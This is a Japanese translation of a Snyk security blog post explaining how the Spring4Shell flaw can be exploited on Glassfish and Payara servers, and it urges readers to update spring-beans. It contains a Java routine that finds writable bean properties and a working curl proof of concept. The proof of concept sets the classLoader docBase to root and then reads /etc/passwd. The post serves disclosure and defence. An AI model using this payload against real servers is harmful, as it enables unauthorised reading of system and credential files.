Spring4ShellがGlassfishとPayaraに拡大：同じ脆弱性ですが、新しい悪用法です

本記事は2022年4月8日（米国時間）に公開した英語ブログ[Spring4Shell extends to Glassfish and Payara: same vulnerability, new exploit](https://snyk.io/blog/spring4shell-rce-vulnerability-glassfish-payara/)を日本語化した内容です。

[![logo-solid-background.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2216557/2691d8df-331d-96e6-dee7-9f990f036d53.png)](https://snyk.io/jp)

先週、[Spring4Shell](https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751)の発見について発表しました。`spring-beans`パッケージの古いバージョンにリモートコード実行（RCE）の脆弱性があることが判明したのです。私たちのブログ記事[Spring4Shell：JavaのSpringフレームワークのゼロデイRCE脆弱性について解説します](https://qiita.com/SnykSec/items/e612511db7adc4537ab9)では、[CVE-2010-1622](https://security.snyk.io/vuln?search=CVE-2010-1622)に対する古いTomcatが再び悪用されることを示しました。問題の性質上、この既知のTomcatエクスプロイト以外にも、追加のペイロードが作成される可能性があると予想していました。そして本日、当社のセキュリティ研究チームが、そのことを確認しました。現在、GlassfishとPayaraに対して、Springと同じ問題を活用した同様の、ただしペイロードは異なるエクスプロイトが存在しています。Payaraチームに弊社の発見をお知らせし、PayaraチームはPayaraの特定の構成が脆弱である可能性があるという[独自の分析](https://blog.payara.fish/payara-and-spring4shell)を公表しました。

しかし、何よりもまず、これは新しい脆弱性ではありません。これは、この問題が最初のTomcatの問題に留まらないという我々の予想を証明する新しい悪用です。 Payaraは、Payara CommunityおよびPayara Enterpriseの影響を受けるバージョンに対してホットフィックスを公開する予定ですが、私たちの改善アドバイスはこれまでと同じです。

:::note warn
`spring-beans`パッケージをバージョン`5.3.18`または`5.2.20`以降に更新してください。
:::

このパッケージの新しいバージョンへのアップデートは絶対に必要であり、何よりも優先させるべきであることを強調したいと思います。

# 悪用するためにより多くの書き込み可能なプロパティを見つけることで

Snyk のセキュリティ研究チームは、以下の関数を使用して、特定のアプリケーション サーバーで書き込み可能な属性を調べました。当社のセキュリティ研究開発チームの[Kirill Efimov](https://twitter.com/byte89)が作成したこの関数は、Spring APIを使用して、すべての利用可能なプロパティを繰り返し、潜在的な侵害に使用できるプロパティのリストを作成します。

```java
public static HashSet<String> findWritablePds(Object root, String path, int depth, HashSet<Object> visited) {

  if (visited == null) {
     visited = new HashSet<>();
     visited.add(Integer.class);
     visited.add(Long.class);
     visited.add(Double.class);
     visited.add(String.class);
  }

  HashSet<String> res = new HashSet<>();

  if (depth <= 0) return res;
  if (visited.contains(root)) return res;
  else visited.add(root);

  try {
     BeanWrapperImpl impl = new BeanWrapperImpl(root);

     for (PropertyDescriptor pd : impl.getPropertyDescriptors()) {
        if (!impl.isReadableProperty(pd.getName())) continue;
        if (pd.getName().equals("accessible")) continue;

        if (impl.isWritableProperty(pd.getName())) {
           res.add(path + "." + pd.getName());
        }

        Object value = impl.getPropertyValue(pd.getName());

        if (value != null && value != Optional.empty()) {
           res.addAll(findWritablePds(value, path + "." + pd.getName(), depth - 1, visited));

           if (value.getClass().isArray()) {
              try {
                 Object[] casted = (Object[]) value;

                 for (int i = 0; i < casted.length; i++) {
                    res.addAll(findWritablePds(casted[i], path + "." + pd.getName() + "[" + i + "]", depth - 1, visited));
                 }
              } catch (ClassCastException cce) {
                 System.err.println("Exception casting class " + value.getClass().getCanonicalName() + ": " + cce.getMessage());
              }
           }
        }
     }
  } catch (Exception e) {
     e.printStackTrace();
  }

  return res;
}
```

エンドポイント内でこの関数
`HashSet<String> result = HandlingFormSubmissionApplication.findWritablePds(greeting, "", 100, null);` 
を呼び出すことで、簡単にリストアップして検査することができます。

# Glassfish / Payaraサーバーの悪用

[GlassFish](https://glassfish.org/)は、Tomcatに似たアプリケーションサーバーです。違いの詳細については、あまり関係がないため、ここでは触れません。[Payara](https://www.payara.fish/) ServerはGlassFishから派生したもので、多くの類似点があります。しかし、PayaraはオリジナルのGlassFishよりも多くの機能を備えているため、両者は異なる製品です。Payaraの人々は、これらの違いについて素晴らしい[ブログ記事](https://blog.payara.fish/are-glassfish-and-payara-server-the-same)を書いていますが、今回のエクスプロイトにはあまり関係ありません。

[前回のブログ記事](https://qiita.com/SnykSec/items/e612511db7adc4537ab9)と同じアプリケーションを使い、今度は[Payara Server (Community)](https://www.payara.fish/downloads/payara-platform-community-edition/)` 5.2022.1` にデプロイしてみましょう。前の段落の関数を使用すると、次の属性が書き込み可能であることがわかりました。

```java
​​[.class.module.classLoader.resources.dirContext.docBase, .class.module.classLoader.parent.name, .class.module.classLoader.resources.dirContext.debug, .class.module.classLoader.resources.dirContext.allowLinking, .class.module.classLoader.resources.cache.desiredEntryAccessRatio, .content, .class.module.classLoader.resources, .id, .class.module.classLoader.resources.dirContext.cacheTTL, .class.module.classLoader.antiJARLocking, .class.module.classLoader.debug, .class.module.classLoader.resources.dirContext.cacheMaxSize, .class.module.classLoader.resources.dirContext.cached, .class.module.classLoader.resources.dirContext.caseSensitive, .class.module.classLoader.resources.cache.cacheMaxSize, .class.module.classLoader.clearReferencesStatic, .class.module.classLoader.delegate, .class.module.classLoader.resources.cache.maxAllocateIterations, .class.module.classLoader.resources.cache.spareNotFoundEntries, .class.module.classLoader.jarPath]
```

特に興味深いのは、` class.module.classLoader.resources.dirContext.docBase` というプロパティで、これを今回のエクスプロイトで使用します。

以下のエクスプロイトでは、このプロパティを使用して、docBaseを` /` に設定しています。ルートがマシンの実際のルートに設定されたため、通常は利用できないファイルにアクセスできるようになります。以下の例では、次のURLを呼び出すことで`/etc/passwd` ファイルの内容をダウンロードできるようになったことを示しています。

```
http://localhost:8080/handling-form-submission-complete/etc/passwd
```

# エクスプロイト

```
echo "Setting doc base to /"
curl -X POST \
 -F 'class.module.classLoader.resources.dirContext.docBase=/' \
 http://localhost:8080/handling-form-submission-complete/greeting
sleep 2
echo "Downloading /etc/passwd"
curl https://localhost:8080/handling-form-submission-complete/etc/passwd
```

当然ながら、ファイルシステム上の任意のファイルを読み取ることができるようになったのですから、これは望ましくありません。悪意のある人による追撃を起こす重大な情報の開示や、ユーザー関連データの開示に発展する可能性があります。

Snyk社のセキュリティ研究者である[Calum Hutton](https://github.com/CalumHutton)が作成したエクスプロイト・プロジェクトは、[GitHub](https://github.com/CalumHutton/CVE-2022-22965-PoC_Payara)で公開されています。

# Spring Frameworkのアップデートはお早めに

これは新しい脆弱性ではなく、同じSpring4shellの脆弱性を別のサーバーで悪用する方法の一例であることを再度強調しておきます。最も重要な教訓は、Springのこの問題はTomcatに特化したものではないということです。Springの問題自体は非常に一般的であり、異なるサーバの異なるバージョンで多くの悪用が行われることになる可能性もあります。ですから、あなたのユースケースで知られている悪用がまだないとしても、あなたが脆弱でないとは言えません。

あなたができること、というより**すべきこと**は、Springフレームワーク（または少なくとも `spring-bean` パッケージ）を最新バージョンに更新することです。私たちが見る限り、パッケージをアップデートすることで、使用しているアプリケーションに関係なく、この脆弱性を解決することができます。

Snykでアプリケーションを定期的にスキャンすることで、この問題を把握することができます。Snykは、新しい脆弱性が検出されると、お客様とお客様のチームに警告を発し、アプリケーションを安全に保つための推奨される次のステップを提供します。さあ、今すぐアップデートしましょう。


:::note info
ブログを読んで、Snykを使ってみたい！と思われた方は、ぜひ[無料トライアル](https://snyk.co/qiita)をお試しください。トライアル中の技術的なご質問は、[サポート](https://support.snyk.io/hc/en-us)に日本語でお寄せください。
:::

:::note info 
[Snyk](https://snyk.io/jp)では、セキュアなコーディングのための情報や脆弱性の最新情報などを発信しています。ぜひ[Twitter](https://twitter.com/snykjp)や[Facebook](https://www.facebook.com/snykJP/)や[ブログ](https://qiita.com/organizations/snyk)のフォローをお願いします。 
:::